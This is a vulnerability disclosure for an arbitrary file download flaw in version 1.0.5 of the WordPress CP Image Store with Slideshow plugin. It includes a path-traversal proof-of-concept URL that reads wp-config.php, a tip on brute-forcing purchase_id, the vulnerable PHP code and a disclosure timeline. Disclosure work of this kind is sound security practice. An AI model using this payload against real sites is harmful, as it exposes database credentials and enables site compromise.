WordPress Plugin CP Image Store with Slideshow 1.0.5 - Arbitrary File Download

# Exploit Title: WordPress CP Image Store with Slideshow 1.0.5  [Arbitrary file download vulnerability]
# Date: 2015-07-10
# Google Dork: 
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://wordpress.dwbooster.com/
# Software Link: https://downloads.wordpress.org/plugin/cp-image-store.1.0.5.zip
# Version: 1.0.5
# Tested on: windows 7 + firefox. 

====================
 DESCRIPTION
====================

A vulnerability has been detected in the WordPress CP Image Store with Slideshow plugin in version 1.0.5 .
The vulnerability allows remote attackers to download arbitrary files from the server.
The Arbitrary file download vulnerability is located in the `cp-image-store.php` file.

The web vulnerability can be exploited by remote attackers without privileged application user account 
and without required user interaction. Successful exploitation of the Arbitrary file download vulnerability results 
in application compromise.

==============
 POC
==============

   # http://wp-host/wp-path/?action=cpis_init&cpis-action=f-download&purchase_id=1&cpis_user_email=i0SECLAB@intermal.com&f=../../../../wp-config.php HTTP/1.1
   
   the purchase_id parameter can be bruteforced and succesfully exploit this vulnerability.

   
==================
 VULNERABLE CODE
==================

Located in cp-image-store.php

function cpis_download_file(){
	...
		
	if( isset( $_REQUEST[ 'f' ] ) && cpis_check_download_permissions() ){
		header( 'Content-Type: '.cpis_mime_content_type( basename( $_REQUEST[ 'f' ] ) ) );
		header( 'Content-Disposition: attachment; filename="'.$_REQUEST[ 'f' ].'"' );
		if( cpis_checkMemory( array( CPIS_DOWNLOAD.'/'.$_REQUEST[ 'f' ] ) ) ){
			readfile( CPIS_DOWNLOAD.'/'.$_REQUEST[ 'f' ] );
		}else{
			@unlink( CPIS_DOWNLOAD.'/.htaccess');
			header( 'location:'.CPIS_PLUGIN_URL.'/downloads/'.$_REQUEST[ 'f' ] );
		}
	...
} 

==================================

time-line

2015-07-01: vulnerability found
2015-07-09: reported to vendor
2015-07-10: released CP Image Store with Slideshow new version 1.0.6
2015-07-10: full disclosure

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